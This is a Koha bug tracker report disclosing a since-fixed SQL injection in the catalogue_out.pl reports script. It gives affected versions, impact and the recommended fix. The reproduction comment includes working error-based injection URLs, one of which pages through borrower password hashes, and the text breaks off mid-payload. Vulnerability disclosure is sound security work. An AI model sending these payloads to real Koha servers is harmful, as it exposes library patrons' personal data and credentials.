SQL Injection in Koha reports/catalogue_out.pl via Filter parameter

Bug 42361: SQL Injection in reports/catalogue_out.pl via Filter parameter (error-based, triggered when Criteria matches branchcode) Vulnerability Overview Status: RESOLVED FIXED Reported Date: 2026-04-14 17:54 UTC by Sanjayb Modified Date: 2026-06-13 16:44 UTC by Heikki CC List: 16 users (show) Product: Koha Component: Reports (show other bugs) Version: unspecified Hardware: All Importance: P1 - High major Target Milestone: --- Assigned To: David Cook QA Contact: Jonathan Druart URL: Keywords: Duplicates (1): 37770 (view as bug list) Depends on: Blocks: 42803 See Also: Attachments sqlmap proof - SQLi confirmed on localhost, databases enumerated (233.41 KB, image/png) - Details Bug 42361: Fix SQL injection in catalogue_out.pl (2.40 KB, patch) - Details - Creator: Jonathan Druart Add Attachment (suggest patches, test cases, etc.) Show expired (2) Show all Comments You need to log in before you can comment on or make changes to this bug. Description Sanjayb - 2026-04-14 17:54:51 UTC Created attachment 197344 [details] [review] sqlmap proof - SQLi confirmed on localhost, databases enumerated Overview The reports script constructs an auxiliary SQL query (the statement) by concatenating a user-controlled request parameter directly into a clause. When the request parameter matches the pattern , the vulnerable concatenation branch is reached, and the resulting statement is prepared and executed without parameter binding. An authenticated staff user with the reports module permission can inject arbitrary SQL and read data from any table accessible to the Koha application database user. Vulnerable Code Location , inside , branch taken when : The variable is the unmodified request parameter. Only a to substitution is applied. No escaping, no quoting, no placeholder. The statement is then sent to with no bound parameters. Line Numbers in Current Branches main - line 100 25.11.x - line 100 25.05.x - line 100 24.11.x - line 99 23.11.x - line 99 22.11.x - line 99 Historical Fix (from git history) The vulnerable sink was introduced in commit (2008-07-09) "Total overhaul of broken 'items with no checkouts' report". Git blame and log inspection show 28 intervening commits, all non-security. CVE-2013-4633 patched the same bug class in sibling files but did not generalize the fix to this file. The sink has been exploitable for approximately 17 years. Affected Versions Confirmed by direct source inspection of each branch's current tip: main - 25.12.00.042 (commit 348846c) 25.11.x - 25.11.03.001 25.05.x - 25.05.00.000 24.11.x - 24.11.14.000 (commit 38017b5) 23.11.x - 23.11.15.000 22.11.x - 22.11.35.000 Dynamically exploited on a local Koha deployment built from main at commit 348846c. Required Privileges Authenticated staff user with the reports module flag. DOES NOT require superlibrarian. Required Request Prerequisites The Criteria request parameter must contain the substring "branchcode" for execution to reach the vulnerable branch. Impact Read access to every row and column in the Koha database accessible to the application database user. This includes sensitive tables: borrowers (password hashes, ZFA secrets, PII), borrower_password_recovery, api_keys, sessions, and all circulation data. CVE-89 (SQL Injection) Estimated CVSS v3.1: HIGH - AV:N / AC:L / PR:L / UI:N / S:C / C:H / I:L / A:L. Related Issues The same bug class exists in (Bug 423260). Both originate from raw concatenation of the Filter request parameter into dynamic SQL. Recommended Fix Replace the raw concatenation with a placeholder and bound argument. A full audit of for the same concat anti-pattern is strongly recommended. Reporter Notes Discovered via source-code review of the directory, then confirmed dynamically on a locally deployed Koha instance. Happy to privately share reproduction details, exact payloads, and example responses on request. Comments Sanjayb - 2026-04-14 17:56:19 UTC Reproduction walkthrough Prerequisites Local Koha instance with default seed data. A staff user with the reports flag. The default superlibrarian (koha) works; any librarian with only the reports module flag suffices. Step 1 - baseline (confirms the sink is reached): GET /cgi-bin/koha/reports/catalogue_out.pl?do_it=1&output=screen&limit=10&criteria=branchcode&filter=test Cookie: CGISESSID= Response: HTTP 500 (caused by the unrelated main-query reference to branches.branchcode without a JOIN on branches). The auxiliary $strth2 query runs first. The injection sink is fully effective. Step 2 - single-request error-based proof: GET /cgi-bin/koha/reports/catalogue_out.pl?do_it=1&output=screen&limit=10&criteria=branchcode&filter=%2A%26%26EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e)),USER(),0x7e,DATABASE(),0x7e))%26%26 Cookie: CGISESSID= Observed response body contains: DBI Exception: DBD::mysql::st execute failed: XPATH syntax error: '--auxiliary_version=>' Step 3 - arbitrary data extraction via LIMIT n,1 paging: Filter=%2A%26%26EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM borrow

Goal Reached Thanks to every supporter — we hit 100%!

SQL Injection in Koha reports/catalogue_out.pl via Filter parameter